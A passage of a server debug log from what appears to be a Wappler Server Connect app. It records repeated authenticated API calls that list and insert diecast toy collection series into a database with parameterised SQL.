    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:42:08.740Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:08.740Z server-connect:app Executing action step identify
2026-02-03T12:42:08.740Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:08.740Z server-connect:output identity: 1
2026-02-03T12:42:08.740Z server-connect:app Executing action step restrict
2026-02-03T12:42:08.740Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:08.743Z server-connect:output restrict: undefined
2026-02-03T12:42:08.743Z server-connect:app Executing action step paged
2026-02-03T12:42:08.743Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:08.746Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:42:16.061Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:42:16.062Z server-connect:app Executing action step identify
2026-02-03T12:42:16.062Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:16.062Z server-connect:output identity: 1
2026-02-03T12:42:16.062Z server-connect:app Executing action step restrict
2026-02-03T12:42:16.062Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:16.062Z server-connect:output restrict: undefined
2026-02-03T12:42:16.062Z server-connect:app Executing action step condition
2026-02-03T12:42:16.062Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:42:16.063Z server-connect:app Executing action step insert
2026-02-03T12:42:16.063Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:42:16.064Z server-connect:output insert: { affected: 1, identity: 177 }
2026-02-03T12:42:16.064Z server-connect:output condition: undefined
2026-02-03T12:42:16.269Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:16.269Z server-connect:app Executing action step identify
2026-02-03T12:42:16.269Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:16.269Z server-connect:output identity: 1
2026-02-03T12:42:16.269Z server-connect:app Executing action step restrict
2026-02-03T12:42:16.269Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:16.270Z server-connect:output restrict: undefined
2026-02-03T12:42:16.270Z server-connect:app Executing action step paged
2026-02-03T12:42:16.270Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:16.271Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:42:26.196Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:26.197Z server-connect:app Executing action step identify
2026-02-03T12:42:26.197Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:26.197Z server-connect:output identity: 1
2026-02-03T12:42:26.197Z server-connect:app Executing action step restrict
2026-02-03T12:42:26.197Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:26.197Z server-connect:output restrict: undefined
2026-02-03T12:42:26.197Z server-connect:app Executing action step paged
2026-02-03T12:42:26.197Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:26.199Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:42:37.171Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:42:37.171Z server-connect:app Executing action step identify
2026-02-03T12:42:37.171Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:37.172Z server-connect:output identity: 1
2026-02-03T12:42:37.172Z server-connect:app Executing action step restrict
2026-02-03T12:42:37.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:37.172Z server-connect:output restrict: undefined
2026-02-03T12:42:37.172Z server-connect:app Executing action step condition
2026-02-03T12:42:37.172Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:42:37.172Z server-connect:app Executing action step insert
2026-02-03T12:42:37.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:42:37.173Z server-connect:output insert: { affected: 1, identity: 178 }
2026-02-03T12:42:37.173Z server-connect:output condition: undefined
2026-02-03T12:42:37.382Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:37.383Z server-connect:app Executing action step identify
2026-02-03T12:42:37.383Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:37.383Z server-connect:output identity: 1
2026-02-03T12:42:37.383Z server-connect:app Executing action step restrict
2026-02-03T12:42:37.383Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:37.383Z server-connect:output restrict: undefined
2026-02-03T12:42:37.383Z server-connect:app Executing action step paged
2026-02-03T12:42:37.383Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:37.385Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:42:40.964Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:40.964Z server-connect:app Executing action step identify
2026-02-03T12:42:40.964Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:40.964Z server-connect:output identity: 1
2026-02-03T12:42:40.964Z server-connect:app Executing action step restrict
2026-02-03T12:42:40.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:40.965Z server-connect:output restrict: undefined
2026-02-03T12:42:40.965Z server-connect:app Executing action step paged
2026-02-03T12:42:40.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:40.967Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'HW Ride-Ons',
      id: 178,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:42:45.284Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:45.284Z server-connect:app Executing action step identify
2026-02-03T12:42:45.284Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:45.285Z server-connect:output identity: 1
2026-02-03T12:42:45.285Z server-connect:app Executing action step restrict
2026-02-03T12:42:45.285Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:45.285Z server-connect:output restrict: undefined
2026-02-03T12:42:45.285Z server-connect:app Executing action step paged
2026-02-03T12:42:45.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:45.287Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 56,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:42:53.680Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:42:53.681Z server-connect:app Executing action step identify
2026-02-03T12:42:53.681Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:53.681Z server-connect:output identity: 1
2026-02-03T12:42:53.681Z server-connect:app Executing action step restrict
2026-02-03T12:42:53.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:53.681Z server-connect:output restrict: undefined
2026-02-03T12:42:53.681Z server-connect:app Executing action step condition
2026-02-03T12:42:53.682Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:42:53.682Z server-connect:app Executing action step insert
2026-02-03T12:42:53.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:42:53.682Z server-connect:output insert: { affected: 1, identity: 179 }
2026-02-03T12:42:53.682Z server-connect:output condition: undefined
2026-02-03T12:42:53.880Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:42:53.881Z server-connect:app Executing action step identify
2026-02-03T12:42:53.881Z server-connect:app options: { provider: 'security' }
2026-02-03T12:42:53.881Z server-connect:output identity: 1
2026-02-03T12:42:53.881Z server-connect:app Executing action step restrict
2026-02-03T12:42:53.881Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:42:53.882Z server-connect:output restrict: undefined
2026-02-03T12:42:53.882Z server-connect:app Executing action step paged
2026-02-03T12:42:53.882Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:42:53.884Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 57,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:43:08.981Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:43:08.982Z server-connect:app Executing action step identify
2026-02-03T12:43:08.985Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:08.985Z server-connect:output identity: 1
2026-02-03T12:43:08.985Z server-connect:app Executing action step restrict
2026-02-03T12:43:08.985Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:08.986Z server-connect:output restrict: undefined
2026-02-03T12:43:08.986Z server-connect:app Executing action step condition
2026-02-03T12:43:08.986Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:43:08.986Z server-connect:app Executing action step insert
2026-02-03T12:43:08.986Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:43:08.987Z server-connect:output insert: { affected: 1, identity: 180 }
2026-02-03T12:43:08.987Z server-connect:output condition: undefined
2026-02-03T12:43:09.202Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:09.203Z server-connect:app Executing action step identify
2026-02-03T12:43:09.203Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:09.203Z server-connect:output identity: 1
2026-02-03T12:43:09.203Z server-connect:app Executing action step restrict
2026-02-03T12:43:09.203Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:09.204Z server-connect:output restrict: undefined
2026-02-03T12:43:09.204Z server-connect:app Executing action step paged
2026-02-03T12:43:09.204Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:09.206Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 58,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:43:15.714Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:43:15.715Z server-connect:app Executing action step identify
2026-02-03T12:43:15.715Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:15.715Z server-connect:output identity: 1
2026-02-03T12:43:15.715Z server-connect:app Executing action step restrict
2026-02-03T12:43:15.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:15.716Z server-connect:output restrict: undefined
2026-02-03T12:43:15.716Z server-connect:app Executing action step paged
2026-02-03T12:43:15.716Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:43:15.718Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:43:35.122Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T12:43:35.123Z server-connect:app Executing action step identify
2026-02-03T12:43:35.123Z server-connect:app options: { provider: 'security' }
2026-02-03T12:43:35.123Z server-connect:output identity: 1
2026-02-03T12:43:35.123Z server-connect:app Executing action step restrict
2026-02-03T12:43:35.123Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:43:35.123Z server-connect:output restrict: undefined
2026-02-03T12:43:35.123Z server-connect:app Executing action step condition
2026-02-03T12:43:35.124Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
